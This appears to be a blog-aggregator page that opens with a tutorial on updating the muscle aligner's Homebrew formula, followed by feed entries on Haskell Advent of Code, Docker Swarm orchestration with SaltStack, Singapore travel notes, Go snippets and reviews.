To get bioinformatics software on my Mac I rely on the Homebrew package manager. Unfortunately, the Brewsci/bio tap, where most biology software lives, doesn’t always update right after a new version is released. While you could wait for someone to update it for you, it’s faster and more fun to do it yourself, and you also get to learn about contributing to Homebrew!

I’ve written a brief tutorial / account that goes over my experience updating the muscle aligner from version 3.8.31 to 3.8.1551. It also covers some things I commonly experience when updating Homebrew formulae, and assumes some basic familiarity with the macOS Terminal.

NOTE: This is the full tutorial which you may find useful, but for uncomplicated revisions (“Basic Steps” only) you can use:

brew install hub && brew bump-formula-pr muscle

with --url=... and --sha256=... or --tag=... and --revision=... arguments to brew bump-formula-pr.

Basic steps

If you don’t have one already, sign up for a GitHub account! All Homebrew development is done over GitHub.
Install hub via brew install hub in the Terminal.
cd $(brew --repo brewsci/bio)
Fork the Brewsci/bio repository with hub fork. If this is your first time using hub you will be prompted for your GitHub username and password.
Create a branch to work on the updated formula with git checkout -b muscle-3.8.1551.
Edit muscle.rb in your preferred editor. brew edit muscle will default to vim. If you have Sublime Text or TextMate installed it might open in those editors. You can change this to e.g., nano with VISUAL=nano brew edit muscle.
In muscle.rb, set the url to the URL of the latest release. In the case of muscle I also had to update the version field.
Back in the Terminal (outside of your editor), run brew fetch muscle to get the latest release. brew will complain about a hash mismatch as the formula still contains the old hash. Don’t worry about this – just copy the provided hash into the sha256 field of muscle.rb in your editor.
The formula has a revision field, so remove that line as it’s a new version.

Now run brew install -vsd --git muscle. Hopefully the new release compiles!

The v turns on verbose mode so you can see what’s happening, s says to build from source instead of using binary bottles, d enables debugging so you can enter the build directory in case anything goes wrong, and --git turns the build directory into a git repository so you can make changes and put them in to the formula as patches to fix minor build problems.

When things go wrong

It didn’t build! Homebrew errors out with a message No such file or directory - src/globalsosx.cpp. If we drop into a shell (thanks to the handy debug option) we can see pretty readily that the src/ directory no longer exists in this updated version of muscle. Exit out of the debugging shell by pressing Ctrl-D twice.

Looking at the muscle formula, we can see that the the error is caused by a patch that fixes build failures on newer versions of macOS:

  def install
    # This patch makes 3.8.31 build on OSX >= Lion.
    # It has been reported upstream but not fixed yet.
    inreplace "src/globalsosx.cpp",
              "#include <mach/task_info.h>",
              "#include <mach/vm_statistics.h>\n#include <mach/task_info.h>"
<span class="c1"># This patch makes 3.8.31 build on RHEL 7.x</span>
<span class="c1"># It ONLY affects Linux (in an "if Linux" clause in the 'mk' script)</span>
<span class="c1"># It is unnecessary to create a static binary</span>
<span class="n">inreplace</span> <span class="s2">"src/mk"</span><span class="p">,</span>
          <span class="s2">"LINK_OPTS=-static"</span><span class="p">,</span>
          <span class="s2">"LINK_OPTS="</span>

<span class="n">cd</span> <span class="s2">"src"</span> <span class="k">do</span>
  <span class="nb">system</span> <span class="s2">"make"</span>
  <span class="n">bin</span><span class="p">.</span><span class="nf">install</span> <span class="s2">"muscle"</span>
<span class="k">end</span>

    
  
  end

Usually when adding patches, you would also report the bug and submit any relevant patches to the upstream software developers. Here we can see that the bug was reported, so let’s see if it’s been fixed by removing all the patches. We should also change the cd "src" do line as the src/ directory no longer exists.

  def install
    system "make"
    bin.install "muscle"
  end

Rerun brew install -vsd --git muscle to see if this fixes things. Looks like there’s still a build error:

    ld: library not found for -lcrt0.o
clang: error: linker command failed with exit code 1 (use -v to see invocation)

Build errors can be exotic and difficult to debug, but we’re in luck here: if you examine the Makefile provided by muscle (by dropping into the debug shell and running cat Makefile) you can see that the developer of muscle added a handy tip for macOS users:

    # On OSX, using -static gives the error "ld: can't locate file for: -lcrt0.o",
# this is fixed by deleting "-static" from the LDLIBS line.

Let’s include this patch in our new version of muscle. Homebrew provides a function inreplace that lets you make simple changes to files. For more complicated patches, it’s better to run brew install --interactive --git muscle and follow the instructions to include a full diff file into the formula.

Remove all instances of -static and try building it again with brew install -vsd --git muscle.

  def install
    # Fix build per Makefile instructions
    inreplace "Makefile", "-static", ""
<span class="nb">system</span> <span class="s2">"make"</span>
<span class="n">bin</span><span class="p">.</span><span class="nf">install</span> <span class="s2">"muscle"</span>

  

end

When things (finally) go right

Success! Test that everything went well with brew test -v muscle and check that the style and syntax of the formula are correct with brew audit --strict --online muscle. test works great, but audit complained and said:

    brewsci/bio/muscle:
  * Stable: version 3.8.1551 is redundant with version scanned from URL

Remove the version line and rerun audit to ensure that there are no further issues.

Submitting your changes

Commit the changes with git commit muscle.rb -m "muscle 3.8.1551" and push them up to your fork with git push -u <USERNAME>, replacing <USERNAME> with your own GitHub username. Then run hub pull-request and fill out the details of the pull request template and a short message explaining your changes (if relevant).

You’ll now need to wait while the build infrastructure compiles the changes to your proposed formula. A maintainer will eventually come along and either merge your pull request or ask you to make some changes. Once your new formula is merged, all other users of Homebrew get to enjoy your work! Pat yourself on the back for helping others out and contributing to a important piece of open-source software.

Closing notes

There’s a lot of edge cases to building software, which is why package managers exist so regular folk don’t have to deal with these problems. I’ve spent too much time diagnosing arcane linker errors; I contribute to Homebrew so no one else has to needlessly suffer.

If you regularly use scientific software that isn’t already in Homebrew or Brewsci, please consider contributing a formula, or, if your software is too unstable or specialized, starting a Homebrew tap for your own tools. I maintain my own tap that I add to whenever I come across bio software that doesn’t already exist in Homebrew-science. Consult the Formula Cookbook for tips on crafting Homebrew formulae.

Westworld: Season 1

🦉 olshansky 🦁 — Sun, 04 Dec 2016 11:40:18 GMT

Olshansky's review of Westworld: Season 1

Adding a new placement group operation in Ceph

Noah Watkins — Sun, 04 Dec 2016 02:00:00 GMT

Teaching Ceph new tricks on entire groups of objects.

Spirited Away

🦉 olshansky 🦁 — Sat, 03 Dec 2016 15:10:50 GMT

Olshansky's review of Spirited Away

Singapore notes

xenodium.com @alvaro — Fri, 02 Dec 2016 02:00:00 GMT

Hotel Mono, 18 Mosque street #01-04.
Buddha tooth relic museum.
Best Hawker centers.
Kong Meng San Phor Kark See Monastery.
Go there (figure out fastest MRT route).
What to eat at ABC Market (Hawker Centre) aka ABC Brickworks Food Centre?.
Curry puffs (see Taste test: Crisp curry puffs).
Singapore’s 17 Michelin-rated Hawker Stalls in 2016.
Temples
- Sasanaramsi Burmese temple (14, Tai Gin Road, Singapore 327873).
- Thian Hock Keng temple.
- Sultan Mosque.
Hawkers
- Mr and Mrs Mohgan's Super Crispy Roti Prata (source) on Crane Road. Dhal/fish/mutton curry side.
- Roast Paradise (maybe) Address: #01-122 Old Airport Road Food Centre. Hours: Tues-Sun: 11am to 4pm or till sold out, Wed and Sun: 11am to 2pm, Closed on Mondays.
- Fatty Cheong, 肥仔详, (#01-120, ABC Brickworks Food Centre, 6 Jalan Bukit Merah Singapore 150006): char siew and xio bak rice and char siew noodles.
- Hoo Kee Bak Chang (Amoy Street Food Centre): bak zhang (glutinous rice dumpling). Try Choose from three kinds: chestnut ($2.80); chestnut with salted egg yolk ($3.60); and chestnut with mushroom ($3.60).
- Lim Kee (Orchard) Banana Fritters (Maxwell food centre, source).
- Mr Avocado Exotic Juice (Alexandra village food centre, source).
- Tanglin Crispy Curry Puff (Hong Lim Food Centre or Maxwell, source) (东陵酥皮咖喱角). Try sardine curry puff?
- Chuan Kee Satay (source). Long queue for pork satay.
- Selera Rasa Nasi Lemak (source).
- Fu Shun Jin Ji Shao La Mian Jia (Maxwell food centre, source): Char siu + noodles.
- Shanghai La Mian Xiao Long Bao (Alexandra Village food centre, source): xiao long bao or soup dumplings ($4.50 for 7 pieces).
Timbre+ (hipster hawker centre? source).
Supertree Grove (go at dusk, see lights turn on).
Singapore Botanic garden.
- Ginger Garden.
- Palms valley.
- Orchid garden.
Sri Mariamman Temple.
Kusu Island?
Chilly crab (“Jumbo” Chilli Crab Restaurant in Clarke Quay or Harvest Seafood Restaurant)?
Afternoon tea?
- www.tea-chapter.com.sg
Bumboats (£2.50 return) leave Changi Point between 6am and 9.30pm for the 10-minute crossing to Palau Ubin. Hire a bicycle in the village where the boats dock.
Haji Lane (colorful road).
Tiong Bahru 1930s public housing estate (**)
- Chong Yu Wanton Mee (Tiong Bahru Market And Food Centre #02-30, 30 Seng Poh Road, source).
- old-fashioned treats at Tiong Bahru Galicier (55 Tiong Bahru Rd).
Chinatown
- Pek Sin Choon Tea: Oldest team merchants.
- Ang Mo Kio: Sri Mariamman Hindu temple.
- Strangelets: quirky stuff from around the world.
- 40 Hands: Allegedly one of most popular coffee joints.
- BooksActually: Coolest book shop.
Keong Saik (next to Chinatown)
- 1939 Hotel.
- The Library (49 Keong Saik Rd): night drinks, ask for key/password next door (the-study.sg) (**)
- Mariko's (Now Phat Cat laundry): Maybe food or drink at night? (**)
- Rose Citron (23 Keong Said Rd): French and Asian articles.
Everton park (old housing estate), new meets old
- Coffee
  - Nylon coffee roasters (http://nyloncoffee.sg).
  - Just Want Coffee (justwant.com.sg).
  - Cozy corner coffee.
- Sweets
  - Grin Affair (grinaffair.com): natural ingredients into glass jar creations.
  - Batterworks (batter-works.com): pastries.
  - http://cozycornercoffee.com.
  - Seriously ice scream (facebook.com/seriouslyicecream).
  - Ji Xiang Confectionery (jixiangconfectionery.com): Traditional glutinous sweets. (**)
- Food
  - The Provision Shop (Blk 3 Everton Park): for a classic and affordable meal.
  - Chew the Fat (Blk 6 Everton Park): comfort food.
  - Eden's Kitchen (http://edenskitchen.sg): healthy, green tea, coconut oil, etc.
Jalan Besar
- Char: unconventional char siu (source).
- The Banana Leaf Apollo (Little India).
- Beach Road Scissors-Cut (220 Jln Besar): Curry Rice. (**)
- Fu Zhou Poh Hwa Oyster Cake (166 Jln Besar): UFO-shaped snacks. (**)
- Swee Choon Tim Sum Restaurant: a dim sum institution!. (**)
- Papa Palheta coffee: best coffee in town?.
- General Company: awesome design and workshops. (**)
- The Bravery: brunch, aka awesome pancakes. (**)
- AEIOU: Retro shopping.
Geylang (preserved shophouses and rich in Malay history)
- Hajjah Mona Nasi Padang (Geylang Serai food centre): Order nasi padang (try dry one).
- Biryani Express (Geylang Serai food centre)
- Red light district. Still?
- Brawn & Brains (Coffee).
- Old Geylang (crocodile, turtle soup, other oddities).
- Hi-Thrift (1 Geylang Rd): Second hand treasures? (**).

Email provider bookmarks

xenodium.com @alvaro — Fri, 02 Dec 2016 02:00:00 GMT

Go snippets

xenodium.com @alvaro — Thu, 01 Dec 2016 02:00:00 GMT

Command-line flags

import (
      "flag"
)

type args struct {
      flag1  string
      flag2  string
        arg    string
}

func parseArgs() args {
      args := args{}

      flag.StringVar(&args.flag1, "flag1\n", "\n", "some flag 1 with sample `value`")
      flag.StringVar(&args.flag2, "flag2\n", "\n", "some flag 2 with sample `value`")

      flag.CommandLine.Usage = func() {
          fmt.Fprintf(os.Stderr, "Usage of %s:\n\n", os.Args[0])
          fmt.Fprintf(os.Stderr, "\n  myarg\n\n")
          flag.PrintDefaults()
      }

      flag.Parse()

      args.arg = flag.Arg(0)

      if args.flag1 == "" || args.flag2 == "" || args.arg == "" {
          flag.CommandLine.Usage()
          os.Exit(1)
      }
      return args
}

func main() {
        args := parseArgs()
        fmt.Printf("Args: %#v\n", args)
}

go run main.go -flag1 val1 -flag2 val2 arg

Javascript snippets

xenodium.com @alvaro — Thu, 01 Dec 2016 02:00:00 GMT

A revisionist history of configuration management

The Technical Blog of James on purpleidea.com — Thu, 01 Dec 2016 01:59:49 GMT

I’ve got a brand new core feature in mgmt called send/recv which I plan to show you shortly, but first I’d like to start with some background.

History

This is my historical perspective and interpretation about the last twenty years in configuration management. It’s likely inaccurate and slightly revisionist, but it should be correct enough to tell the design story that I want to share.

Sometime after people started to realize that writing bash scripts wasn’t a safe, scalable, or reusable way to automate systems, CFEngine burst onto the scene with the first real solution to this problem. I think it was mostly all quite sane, but it wasn’t a tool which let us build autonomous systems, so people eventually looked elsewhere.

Advent Of Code 2016 in Haskell

Tyblog — Wed, 30 Nov 2016 09:00:00 GMT

I recently (finally!) finished the Advent of Code challenges using Haskell. I'm still a Haskell wannabe, but the suite of problems provided an interesting backdrop for a number of Haskell concepts that I wanted to share.

The long-form retrospective is here; if you want to see a condensed collection of a few Haskell toolchain by-products, check out my shorter summary under GitHub pages.

Disclaimer: I am not a Haskell expert (or even what I would label experienced), so the approaches and results here are likely non-optimal and may be flawed. I'm happy to revise and amend my analysis with additional information via comments/email/PRs/etc.

Introduction

Advent of Code is a set of coding challenges that started in December 2015. Although I initially knocked out a couple using Ruby, I found that as the challenges became more difficult they were sufficiently complex enough to provide a good reason to get more familiar with new or foreign concepts.

I haven't done much heavy lifting with functional, pure, or lazy languages, so this was a good chance to learn more.

Code

There's lots of examples for general challenges strategies on the Advent of Code subreddit, so here's the highlights from the Haskell side (I'm sure some of these are shared with $language, but the Haskell take on each concept is still interesting).

Type Safety

If you've tinkered with Haskell before, you'll know that the type system is one of the highlights of the language.

A good example of the helpfulness of the type system is signalling (to a human) when a challenge may not guarantee a solution.

For example, the first day's challenge is pretty simple: given a string with open and closed parenthesis, pretend each represents moving up and down a floor on an apartment building. It's easy to find the final floor by just mapping characters to +1 or -1 and summing the result (in Haskell parlance, a map and fold). Part 2, however, asks you to find the string position that moves you below the ground floor (i.e., the first position that moves you to -1 or below).

Clearly, you could sum a sequence of numbers that never goes negative, so the answer to that question could very well be "we never reach the basement". You could express this limitation for the function different in different languages - maybe raise an UnreachableBasement exception somewhere (with the caveats inherent to exceptions), or return -1 (which, also being an integer, isn't semantically helpful). The Haskell method of expressing this situation is pretty nice – the type signature is below, and you can also see the implementation on GitHub:

Haskell

Font used to highlight Haskell types
Font used to highlight Haskell operators.
Font used to highlight Haskell definitions.

basement :: String -> Maybe Int

The function caller is explicitly informed that given a string of parenthesis like (())(, there's a possibility the function may return Nothing and thus signal that it couldn't find an index in the string that meets the requirements. However, unlike, say, an exception in Ruby, the caller must explicitly handle the case in which Nothing is returned.

In other words: Haskell won't let you compile the solution until there's some code path that accounts for the Nothing result. A simple example, but this sort of rigor makes complicated logic more resilient down the road.

(Good!) Infinite Loops

An interesting mechanism that you can leverage in Haskell is infinite lists: due to laziness, you can define lists infinitely and the language will only use as much of the list as necessary.

Consider day 11: you're given a rule for how to rotate a password to a new value, and rules that govern whether a password is acceptable. Given an initial password, you must iterate on the value until it meets all the requirements for a strong password (the challenge comes complete with arbitrary and arcane password strength rules, just like real life!).

One unique approach you can take in Haskell is to write the rule to rotate a password and then repeatedly apply this function to itself to form an infinite list of potential passwords, then just filter that list for password values that meet the formatting requirements, and take the next value in the list. Haskell won't compute the entire list; just keep generating passwords until you take the last one you need and move on.

In my solution, I've got a function to iterate on a password called increment:

Haskell

Font used to highlight Haskell types
Font used to highlight Haskell operators.
Font used to highlight Haskell definitions.

increment :: String -> String

There's a Haskell function called iterate that applies a function to a value an infinite number of times – coupled with some other basic Haskell functions, we can come up with a nice solution:

Haskell

head . filter meetsReqs . iterate increment

When you hand this a String, it 1) applies the increment function infinitely to the string, filters the resulting list with a predicate that defines the criteria for a valid password, and head just takes the first value.

Modeling a Game (Without Objects)

For day 22's challenge, you're given the rules for a game and challenged to find the optimal set of moves to win the game. This is similar to the preceding day's challenge, but more complicated: it involves spells that have a cost, effect, and potential duration.

The solution for this in Haskell is pretty interesting. Though I model things like game state and players with types, the highlight here are lenses. How lenses work is outside the scope of this blog post, but in short: they let you reach into data types to access or modify them easily.

As an example, take a look at this function – it takes a spell, some game state, and returns an updated game state after the spell is "cast":

Haskell

Font used to highlight Haskell constructors.
Font used to highlight Haskell keywords.
Font used to highlight Haskell types
Font used to highlight Haskell operators.
Font used to highlight Haskell definitions.

 1: cast :: Spell -> Game -> Game
 2: cast spell = action
 3:            . (player.mana -~ cost)
 4:            . (player.spent +~ cost)
 5:     where
 6:         (action, cost) = case spell of
 7:             MagicMissile -> (boss.hp -~ 4, 53)
 8:             Drain        -> ((boss.hp -~ 2) . (player.life +~ 2), 73)
 9:             Shield       -> (e Shield 6, 113)
10:             Poison       -> (e Poison 6, 173)
11:             Recharge     -> (e Recharge 5, 229)
12:         e s t = effects %~ insert s t

What makes this function so interesting is that nowhere in the body of the function do I ever actually reference the variable that the game is bound to. The juicy part of the function:

Haskell

Font used to highlight Haskell operators.

action . (player.mana -~ cost) . (player.spent +~ cost)

Is just a series of smaller function compositions. When I hit a Game with player.mana -~ cost, that little function reaches into my Game type, subtracts the spell's cost from the player's mana and proceeds to compose with the following function.

This is one of the more complicated examples, but if you worked through this (pretty tricky) challenge, the solution (complete with all sorts of weird recursion) is interesting to compare against typical imperative solutions.

Ecosystem

Aside from interesting core language features, modern Haskell has some really neat components of the toolchain that I also experimented with as a part of the advent. These are repeated in short form on a GitHub pages site, but I'll go more in depth here.

HPC

Haskell can generate lovely coverage reports, walking your code to help pinpoint places in which code is actually never evaluated and other useful highlights. In my case, you can see several instances in which some typeclasses I've derived (like Show) never end up being used within my modules and is thus detected as unnecessary (as far as HPC can tell).

Benchmarking

I found criterion later on in my journey so most of my code isn't benchmarked, but it has proven to be a really pleasant tool to use.

Using criterion, I was able to compare different implementations for some solutions and found (sometimes unexpected) results regarding efficiency. This is especially relevant in a lazy language like Haskell wherein performance can be tricky to pin down sometimes when some of your code may not necessarily be evaluated.

Docs

This is a fairly standard language feature, but in case you were wondering: my documented code ended up looking like this after passing through haddock.

Special Mention for The Crown Jewel: Stack

Throughout a lot of building, benchmarking, and testing, I became pretty enamored with [stack], the (hopefully standard) Haskell build tool. My favorite standard feature of stack is the fact that you define your resolver per project, which encapsulates a given version of GHC (the Haskell compiler) along with a curated set of packages for that point in time. If you've done non-trivial work in Ruby or Python, you know that an rvm/virtualenv type of solution is pretty useful, and stack makes that concept a first-class citizen.

Stack is also a very active project, which is refreshing to see. While some languages languish when it comes to taking a critical eye to tools or developer needs, the haskell community has effectively and rapidly fixed a pain point in their toolchain in a great way.

A Final Note

Advent of Code turned out to be a great exercise to learn more about a language and compare notes with the community. If you have the time, I highly recommend trying it out and seeing what you can learn.

Nacidos de la Bruma III – El Héroe de las Eras – Mistborn

GeekWare - Daniel Pecos Martínez — Wed, 30 Nov 2016 08:02:06 GMT

En El Héroe de las Eras, tercera y última entrega de la saga Nacidos de la Bruma – Mistborn, Brandon Sanderson nos presenta el colofón a esta épica historia de aventuras y magia – alomancia, en la que los protagonistas viajan a través del mundo en busca de las pistas que Lord Legislador les dejó para combatir el mal que les avecina: Ruina.

La Banda de Kelsier, encabezada por Vin y Lord Elend, tratarán de aunar las distintas ciudades del mundo en una lucha común contra las brumas, aunque no será una tarea fácil. Los restos de la iglesia de Lord Legislador y sus criaturas, se han diseminado por el mundo y, aunque sin ser lo fuertes que fueron cuando éste estaba gobernando, serán causa de gran multitud de problemas para nuestros protagonistas.

En esta entrega podemos ver cómo Brandon Sanderson, genio de la narrativa de ciencia ficción y épica fantástica, engrana gran cantidad detalles, en un principio nimios, para dar un cierre colosal a la historia, hacia el que todas las pequeñas tramas que se han ido mostrando durante la trilogía convergen, consiguiendo un final digno de la obra.

Como viene siendo habitual con este autor, el ritmo, la forma de describir el mundo y unos personajes que nos harán sentir partícipes de sus aventuras, son el común denominador de la historia, haciendo que la devoremos desde el primer momento, prácticamente sin darnos cuenta.

El Héroe de las Eras es el cierre de una obra de arte de la literatura de ficción contemporánea, considerada como uno de los imprescindibles del género por muchos. Política y Religión, temas subyacentes de la saga, hacen que su lectura sea apasionante e inmersiva, haciendo de esta entrega, y sobre todo de la saga Nacidos de la Bruma – Mistborn, una lectura obligatoria para los amantes de la temática.

THE CULT OF DONE MANIFESTO

Yasha Solutions — Wed, 30 Nov 2016 02:00:00 GMT

It is an original piece from Bre Pettis and Kio Stark – under Creative Common. For me it is a reminder that done is better than perfect, and no matter how creative you want to be there is a point where actual delivery matter more than potential awesomeness . Here it is:

Belated ElixirConf 2016 Recap

Brightball Articles — Wed, 30 Nov 2016 02:00:00 GMT

This past September I took vacation time and paid out of pocket to drive to Orlando and attend ElixirConf with a few other programmers from Greenville who did the same thing. We weren't the only ones. Here is a belated recap from our combined notes and experiences.

10 years of Facebook humour

Jason Eckert's Website and Blog — Wed, 30 Nov 2016 02:00:00 GMT

While most of my posts are pictures (funny pictures, persona pictures, memes, etc.), I’ve also got lots of funny text posts. I got a chuckle out of reading them again, so I thought I’d share them here for others to enjoy!

Here they are, sorted from newest to oldest:

If you want to rapidly get through a crowded area, just carry a clipboard and try to make eye contact with people. People will give you space….fast ;-)

Vignettes

infrequent oscillations — Tue, 29 Nov 2016 15:11:20 GMT

In which we summarise through subtitles.

Introducing Chunky: A chunk generator for Minecraft

Joshua Rogers — Tue, 29 Nov 2016 14:00:00 GMT

I have a love-hate relationship with the terrain from Minecraft. One the one hand, it's the terrain that makes every world kind of memorable in it's own way. It comes at cost though; the process of generating terrain can cripple a server. That's where Chunky comes in. Chunky lets you pregenerate a world so that our blocky wanderers don't cause the server logs to fill with “CAN'T KEEP UP!” Okay. Why?

Remote preparation for your next networking travel – Hustle Hacks 101

Yasha Solutions — Tue, 29 Nov 2016 02:00:00 GMT

So you want to grow your network and are prepared to travel for it – or the other way around – you are travelling to a remote place and you see this as an opportunity to network and grow your base. You will be town for a day or two, maybe a week maximum, and you want to see how to find the right people and the right event to get on your agenda and make the best out of your trip.

Repeating History...on Purpose...with Elixir

Brightball Articles — Tue, 29 Nov 2016 02:00:00 GMT

A dive into the highlights of Elixir that make it the ideal platform for the web...and how all these questions were answered figured out 30 years ago. Presented to Upstate Elixir in Greenville, SC on Nov 16.

Clark Valberg: Invision Co-Founder & CEO

Sam Solomon — Mon, 28 Nov 2016 02:00:00 GMT

Clark Valberg is the founder and CEO of InVision. If you are a designer, you have probably gotten an email from Clark at one time or another.

If you would persuade, appeal to interest and not to reason.

ho.dges.online — Mon, 28 Nov 2016 02:00:00 GMT

Benjamin Franklin

If you would persuade, appeal to interest and not to reason.

Form recipe: Conditionally disabling the Submit button

Gosha Spark — Mon, 28 Nov 2016 02:00:00 GMT

Docker Swarm 1.12 Cluster Orchestration with SaltStack

Sun, 27 Nov 2016 20:14:00 GMT

Starting in v1.12.0 of Docker Engine, there is a new way to manage your container orchestration layer in swarm mode. For starters, it now comes with its own service discovery baked in. With the drastic improvements to the simplicity of swarm mode, let’s see how we can automate the spin-up of a cluster using SaltStack.

Getting Started

A couple things before we get rolling. We need a way to programmatically target our minions. Any method is acceptable, but this guide uses node groups for targeting. If applicable, set up the node groups on our master.

/etc/salt/master.d/nodegroups.conf:

nodegroups:
  swarmmanager: 'manager*'
  swarmworker: 'worker*'

Also, this guide makes use of Pillar data, but we will not be walking though that as it’s pretty straightforward. Refer to Salt documentation for examples.

State files

We need to make six states for Docker Swarm:

Add Docker repository and install Docker Engine
Set Salt Mine data
Drain Swarm managers
Create a new Swarm cluster
Add managers to the Swarm cluster
Add workers to the Swarm cluster

Organizationally, the state file structure will look like:

docker/
  engine.sls
  mine.sls
  manager/
    first.sls
    join.sls
    drain.sls
  worker/
    join.sls

Let’s walk through each of these before we tackle orchestration.

1. Add Docker repository and install Docker Engine

No special sauce here. This contains the basics for getting Docker Engine installed onto our minions. This guide uses RHEL 7 for repository management, but the same principles can be applied to any other distro supported by Salt’s pkgrepo state.

docker/engine.sls:

docker:
  pkgrepo.managed:
    - humanname: {{ pillar['repositories']['repos']['docker']['humanname'] }}
    - baseurl: {{ pillar['repositories']['repos']['docker']['baseurl'] }}
    - gpgkey: {{ pillar['repositories']['repos']['docker']['gpgkey'] }}
    - gpgcheck: 1
  service.running:
    - enable: True
    - require:
      - pkg: docker-engine

docker-engine:
  pkg.installed:
    - version: {{ pillar['repositories']['pkgs']['docker-engine']['version'] }}
    - require:
      - pkgrepo: docker

2. Set Salt Mine data

I highly encourage you to read up on how the Salt Mine works – suffice to say that we are setting some mine data right now that will be important when we get to orchestration.

docker/mine.sls:

/etc/salt/minion.d/swarm.conf:
  file.managed:
    - source: salt://docker/files/etc/salt/minion.d/swarm.conf
    - require:
      - pkg: docker-engine

/etc/salt/minion.d/swarm.conf :

mine_functions:
  manager_token:
    - mine_function: cmd.run
    - 'docker swarm join-token manager -q'
  manager_ip:
    - mine_function: network.ip_addrs
    - eth0
  worker_token:
    - mine_function: cmd.run
    - 'docker swarm join-token worker -q'

3. Drain Swarm managers

We’ll use this state in just a moment. Stay tuned!

docker/manager/drain.sls:

drain manager:
  cmd.run:
    - name: 'docker node update --availability drain {{ grains['id'] }}'

4. Create a new Swarm cluster

This state installs Docker Engine and sets the mine data before initializing a Docker Swarm cluster. After the cluster is created, the node will be drained such that containers cannot be scheduled on it.

docker/manager/first.sls:

include:
  - docker.engine
  - docker.mine
  - docker.manager.drain

init new swarm cluster:
  cmd.run:
    - name: 'docker swarm init --advertise-addr '
    - require:
      - pkg: docker-engine
    - require_in:
      - cmd: drain manager

5. Add managers to the Swarm cluster

Every joining manager node needs to retrieve a token from a current cluster manager in order to join. The joining manager retrieves this through Salt Mine as seen in the salt['mine.get'] call. Similar to the first manager node, the last thing joining manager nodes do is get drained.

docker/manager/join.sls:

{% set join_token = salt['mine.get']('*', 'manager_token').items()[0][1] %}
{% set join_ip = salt['mine.get']('*', 'manager_ip').items()[0][1][0] %}

include:
  - docker.engine
  - docker.mine
  - docker.manager.drain

join cluster:
  cmd.run:
    - name: 'docker swarm join --token {{ join_token }} {{ join_ip }}:2377'
    - require:
      - pkg: docker-engine
    - require_in:
      - cmd: drain manager

6. Add workers to the Swarm cluster

Finally, this state joins the cluster just like our manager nodes, but there are a few differences. Specifically, the workers:

get a different token
do not get mine data
are not drained

docker/worker/join.sls:

{% set join_token = salt['mine.get']('*', 'worker_token').items()[0][1] %}
{% set join_ip = salt['mine.get']('*', 'manager_ip').items()[0][1][0] %}

include:
  - docker.engine

join cluster:
  cmd.run:
    - name: 'docker swarm join --token {{ join_token }} {{ join_ip }}:2377'
    - require:
      - pkg: docker-engine

Orchestrator

Fantastic! Now we have the scaffolding in place for us to get some power out of an orchestrate runner. The simplest way to think about orchestration in Salt is to think of it like an abstraction layer on top of our Salt states. Where we might normally execute a single salt 'web*' state.apply to describe the entire state of a minion, orchestration allows us to chain multiple states and other functions together in order to achieve our desired end-state. Let’s see what that looks like in practice.

docker/bootstrap.sls:

{% for manager in salt['saltutil.runner']('cache.grains', tgt='swarmmanager', expr_form='nodegroup') %}

{% if loop.first %}
{% set manager_sls = 'docker.manager.first' %}
{% else %}
{% set manager_sls = 'docker.manager.join' %}
{% endif %}

bootstrap swarm manager {{ manager }}:
  salt.state:
    - sls: {{ manager_sls }}
    - tgt: {{ manager }}

update mine for {{ manager }}:
  salt.function:
    - name: mine.update
    - tgt: '*'
    - require:
      - salt: bootstrap swarm manager {{ manager }}

{% endfor %}

{% for worker in salt['saltutil.runner']('cache.grains', tgt='swarmworker', expr_form='nodegroup') %}

bootstrap swarm worker {{ worker }}:
  salt.state:
    - sls: docker.worker.join
    - tgt: {{ worker }}

{% endfor %}

Let’s walk through the previous snippet because there are a few things happening there. There are two for-loops: one for the manager nodes and one of the worker nodes, and each of them are using the cache.grains runner to iterate over the node groups swarmmanager and swarmworker, respectively. The runner itself isn’t very important – what’s important is that it is a runner that allows us to iterate over members of a target group.

There was a recent bug that prevented runners from matching on node groups that has been fixed and closed out as of publishing this article. If you’re still getting the error Failed matching available minions with nodegroup pattern, updating to the latest release of 2016.3 should fix it.

The manager for-loop takes a special path on the first circuit. On the first iteration, we’re running docker.manager.first. As we showed earlier, docker.manager.first has the duty of initializing a new Swarm cluster for us. Every subsequent iteration instead calls docker.manager.join which, as the name implies, joins the existing cluster.

You’ll also notice in the manager for-loop that each iteration runs a mine.update before progressing to the next iteration. This is the crucial step that tells Salt to fetch the latest data from all minions broadcasting their mine data. Because we are including docker.mine in both docker.manager.first and docker.manager.join states, each joining manager can query the Salt Mine to retrieve the IP address of existing cluster manager and a manager token generated by one of the Swarm managers.

The same principle applies to the worker for-loop. In docker.worker.join, we query the Salt Mine for a manager’s IP address and a worker token generated by one of the Swarm managers.

To see how this works in practice, let’s run the orchestrator from our Salt master:

saltmaster ~$ salt-run state.orchestrate docker.bootstrap

And a few minutes later we have our cluster up and ready to accept services:

manager3 ~$ docker node ls
ID                           HOSTNAME               STATUS  AVAILABILITY  MANAGER STATUS
0x4u15u7v571z70qfdmiuh3sa    manager1               Ready   Drain         Reachable
1r652lsw5ek86zdhg1i4zjl5u    manager2               Ready   Drain         Reachable
cret7zwxpv77uiznb2krnv7sl *  manager3               Ready   Drain         Leader
dka8yshu1rs2pi24dy2762ib4    worker1                Ready   Active
esh8k1mpzt5csxkrt4uzk1z8y    worker2                Ready   Active
esh8k1mpzt5csxkrt4uzk1z8y    worker3                Ready   Active

Summary

There you have it, a turn-key approach to getting our Docker Swarm cluster up and running. What we did not discuss was what the top file contains, but it might look something like:

base:
  'swarmmanager':
    - match: nodegroup
    - docker.engine
    - docker.mine
    - docker.drain

  'swarmworker':
    - match: nodegroup
    - docker.engine

We have to be careful about what we choose to place in the top file. For instance, it probably does not make sense to include docker.manager.first, docker.manager.join, nor docker.worker.join in the top file since those are more for one-time operations that fit better in orchestrators, but that’s up for you to decide. Your mileage may vary. For more information on orchestration, see Salt’s orchestrate runner docs. For more information on Docker Engine in swarm mode, see Swarm mode overview.

Black Mirror: Season 3

🦉 olshansky 🦁 — Sun, 27 Nov 2016 15:04:15 GMT

Olshansky's review of Black Mirror: Season 3

A Fish Called Wanda

🦉 olshansky 🦁 — Sun, 27 Nov 2016 14:55:25 GMT

Olshansky's review of A Fish Called Wanda

Stranger Things: Season 1

🦉 olshansky 🦁 — Sun, 27 Nov 2016 14:52:32 GMT

Olshansky's review of Stranger Things: Season 1

Rick and Morty: Season 2

🦉 olshansky 🦁 — Sun, 27 Nov 2016 11:54:04 GMT

Olshansky's review of Rick and Morty: Season 2

Sydney travel bookmarks

xenodium.com @alvaro — Sun, 27 Nov 2016 02:00:00 GMT

17 Stunning Sydney Pools That Will Make You Want To Jump Back In The Water.
48 Hours in Sydney.
